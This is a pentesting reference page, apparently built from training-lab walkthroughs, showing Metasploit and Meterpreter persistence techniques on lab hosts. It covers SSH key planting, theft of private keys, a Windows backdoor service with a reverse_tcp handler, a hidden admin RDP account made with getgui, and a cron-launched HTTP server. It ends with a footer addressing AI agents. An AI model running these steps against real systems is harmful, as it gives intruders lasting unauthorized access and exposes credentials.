> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/metasploit-and-meterpreter/persistence.md).

# Persistence

### SSH Key Persistence

We can also upgrade this command shell session to a meterpreter session by running the following command:

**Command:**

```
sessions -u 3
```

<figure><img src="https://assets.ine.com/lab/learningpath/e58b010d93c80e39ecb01d82383574f24282387968a48731d8f1db7ed2c32fa4.png" alt=""><figcaption></figcaption></figure>

Now that we have been able to elevate our privileges on the target system, we can begin exploring the process of establishing persistence.

The best Metasploit module that can be used to establish persistent access on a Linux target is the sshkey\_persistence module.

We can load the module by running the following command:

```
use post/linux/manage/sshkey_persistence
```

We will now need to configure the module options, more specifically, we will need to set the SESSION ID and CREATESSHFOLDER options. This can be done by running the following commands:

```
set SESSION 4
```

Note: In your case, the SESSION ID will be different.

```
set CREATESSHFOLDER true
```

After configuring the module options, we can execute the module by running the following command:

```
exploit
```

As shown in the following screenshot, the module runs successfully and will add a public SSH key to the authorized\_keys file in the home directory of all user and service accounts.

<figure><img src="https://assets.ine.com/lab/learningpath/54772b52c8767a225374b43e4549eecbd1ca459d730689e203bcb133506c84d7.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://assets.ine.com/lab/learningpath/f108cb9bf19dc5d1718fc9f350694a524ca6b0c4372324e469e9294924c83117.png" alt=""><figcaption></figcaption></figure>

**SSH Private Key:**

```
/root/.msf4/loot/20240716164352_default_192.217.38.3_id_rsa_606834.txt
```

To use the private key, copy the key and save it as a new file, in this case, we will be saving it in the home directory of the root user on the Kali Linux system as **ssh\_key**.

```
cp /root/.msf4/loot/20240716164352_default_192.217.38.3_id_rsa_606834.txt ssh_key
```

<figure><img src="https://assets.ine.com/lab/learningpath/6ab54877b9edd835459f2920e3322f538cd5a2ee1e17f51823587f1556edaab3.png" alt=""><figcaption></figcaption></figure>

We will then need to assign the appropriate permissions to the file, this can be done by running the following commands:

```
chmod 0400 ssh_key
```

We can now authenticate with the target using the private key via SSH by running the following command:

```
ssh -i ssh_key root@demo.ine.local
```

<figure><img src="https://assets.ine.com/lab/learningpath/6402d0cc9dc53c89f795d2dfc1d057b0ee47a42cd48c27d0d8f88fd2e2500700.png" alt=""><figcaption></figcaption></figure>

As shown in the following screenshot, the authentication with the private key is successful and we have successfully been able to establish persistent access to the Linux target by adding our public key to the authorized\_keys file of over user account, consequently allowing us to authenticate with the target via SSH without providing a password.

### SSH private key copy

Enumerate files present in home directory.

```
ls -al
```

<figure><img src="https://assets.ine.com/lab/learningpath/75794930d7002cebee86f6e38dbfc01274f868aa8cabb4b4da91640359be72aa.jpg" alt=""><figcaption></figcaption></figure>

SSH key pair is present in the “.ssh” directory.

Exit SSH session and copy ssh private key to attacker machine.

```
scp student@demo.ine.local:~/.ssh/id_rsa .
Enter password “password”.
```

<figure><img src="https://assets.ine.com/lab/learningpath/b1dfa324ee56f7276afab9c7da7b63eb35e29dcca566814bbcc82204809a9088.jpg" alt=""><figcaption></figcaption></figure>

SSH into student machine and delete the wait file.

```
ssh student@demo.ine.local
Enter password “password”

rm wait
```

<figure><img src="https://assets.ine.com/lab/learningpath/145227fc5665ece67a0e1fb97d1ae46078fc1bb147ac0ab8d2d5e9e53a8a10f3.jpg" alt=""><figcaption></figcaption></figure>

The SSH session is terminated.

SSH into the target machine with the private key.

```
chmod 400 id_rsa
ssh -i id_rsa student@demo.ine.local
```

<figure><img src="https://assets.ine.com/lab/learningpath/76e63ed199dd79448ead947cc720fe11e2bd4b7d3b97e96bed63083447a2fbd0.jpg" alt=""><figcaption></figcaption></figure>

### **Windows Persistent Service Installer**

"This Module will generate and upload an executable to a remote host, next will make it a persistent service. It will create a new service which will start the payload whenever the service is running. Admin or system privilege is required."

**Source:** <https://www.rapid7.com/db/modules/exploit/windows/local/persistence\\_service/>

&#x20;Running the service persistence module to maintain access to the compromised machine.

```
background
use exploit/windows/local/persistence_service
set SESSION 1
exploit
```

**Note:**&#x42;y default persistence, the local exploit module uses the following payload and local port for reverse connection:

* Payload: windows/meterpreter/reverse\_tcp
* LHOST: Attack IP Address.
* LPORT: 4444

<figure><img src="https://assets.ine.com/lab/learningpath/bf629252e2c67c08f844c55bcc7e780c48b53e0a7392d7b72aa6dd4ef37065b2.jpg" alt=""><figcaption></figcaption></figure>

We have successfully maintained access. Start another msfconsole and run multi handler to re-gain access.

```
msfconsole -q
use exploit/multi/handler
set LHOST <Attacker Kali Machine IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
exploit
```

<figure><img src="https://assets.ine.com/lab/learningpath/79d665e85212baa5ede75aa3d5f4d060b689a2656cc80969635ce12dc6759bbc.jpg" alt=""><figcaption></figcaption></figure>

Switch back to the active meterpreter session and reboot the machine.

```
session -i 1
reboot
```

<figure><img src="https://assets.ine.com/lab/learningpath/79a7a94a8a41206cbd1719868c827ea8ce8dc03ad8a687c0e6e38b99dffe758c.jpg" alt=""><figcaption></figcaption></figure>

Once the machine reboots we would expect a new meterpreter session without re-exploitation. This happened because we have added a malicious executable for maintaining access.

<figure><img src="https://assets.ine.com/lab/learningpath/c6975dbb82d86d499d11e6f507732f229b8866d6db2003d15eaaf1193aafeb3e.jpg" alt=""><figcaption></figcaption></figure>

We have received a new meterpreter session with the highest privileged.

Also, the backdoor is running as a service. Even if the session gets killed we would again gain it by re-running the Metasploit multi-handler. In this case, we exit the session and run the handler to gain the session again.

```
exit
exploit
```

<figure><img src="https://assets.ine.com/lab/learningpath/8da715a1d2ef96afdc8218b332710e24bea167f703382dbb736f7f94254b7e25.jpg" alt=""><figcaption></figcaption></figure>

### **Maintaining Access: RDP**

We have successfully exploited the target vulnerable application and received a meterpreter shell.

Checking the current user.

```
getuid
```

<figure><img src="https://assets.ine.com/lab/learningpath/50e40d42611e7e6ba952ce027888206680abc0f23ff656b74b5f6955e277c137.png" alt=""><figcaption></figcaption></figure>

We can observe that we are running as an administrator user. Migrate the process in explorer.exe. First, search for the PID of explorer.exe and use the migrate command to migrate the current process in that process.

```
ps -S explorer.exe
migrate 2764
```

<figure><img src="https://assets.ine.com/lab/learningpath/4582968d9dd4a46555f232d3ba6aeea9f795a323173c46657d22a2a89746b816.png" alt=""><figcaption></figcaption></figure>

We have successfully migrated into the explorer.exe process. We are going to maintain access by RDP. We will be creating a user and adding that user to the Administrators group. All this can be done using the **"getgui"** meterpreter command.

The ‘getgui’ command makes the below changes to the target machine:

* Enable RDP service if it’s disabled
* Creates new user for an attacker
* Hide user from Windows Login screen
* Adding created user to "Remote Desktop Users" and "Administrators" groups

Running getgui command to gain remote access.

```
run getgui -e -u alice -p hack_123321
```

<figure><img src="https://assets.ine.com/lab/learningpath/382e6b6a323ca4b3fef637ded3e145d8f9f8a487efc82d3969c27b3fd10fd56e.png" alt=""><figcaption></figcaption></figure>

We have created an “alice” user on the target machine and enabled RDP access.

Access the GUI using the xfreerdp utility.

```
xfreerdp /u:alice /p:hack_123321 /v:demo.ine.local

Y [Accept the certificate]
```

<figure><img src="https://assets.ine.com/lab/learningpath/88368288b0b4420ec5d7bc72ef1c72f44c0207e14880197cbae0a3426c4480b2.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://assets.ine.com/lab/learningpath/152cc876ca2e7688c15b33e0637bc85a66323d81a9c6163df225b0d686763fca.png" alt=""><figcaption></figcaption></figure>

We have gained access to the target machine GUI by RDP using the "alice" user. Now, if the machine is rebooted the access would remain the same after the machine comes online.

### **Local Job Scheduling**

Check the running processes.

```
ps -eaf
```

<figure><img src="https://assets.ine.com/lab/learningpath/8b9f221c5d15789dde0152bb4448ffbcc6edaa97d78fcc16f47dbd5eeb3a930b.jpg" alt=""><figcaption></figcaption></figure>

Cron service is running.

Create a cron job which will use the SimpleHTTPServer python module to serve the files present in student user’s home directory.

```
echo "* * * * * cd /home/student/ && python -m SimpleHTTPServer" > cron
crontab -i cron
crontab -l
```

<figure><img src="https://assets.ine.com/lab/learningpath/135e66182f4044ef2f6b67ad8ac70b6cdffff026f408eeab893f7709c7437d88.jpg" alt=""><figcaption></figcaption></figure>

Exit the session.

&#x20;Login and delete the wait file.

```
ssh student@demo.ine.local
Enter password “password”

rm wait
```

<figure><img src="https://assets.ine.com/lab/learningpath/53176d2847927291ae3ced0e340e5bd0885dc5dbe1a1fa67f258217da911d8c7.jpg" alt=""><figcaption></figcaption></figure>

Use nmap to scan for open ports. Since the HTTP server was started, port 8000 should be open.

```
nmap -p- demo.ine.local
```

<figure><img src="https://assets.ine.com/lab/learningpath/faec7891d775522e53e2889936c3e835a0d9284a12c31e339212f7a7d9373771.jpg" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.cavementech.com/pentesting-quick-reference/metasploit-and-meterpreter/persistence.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
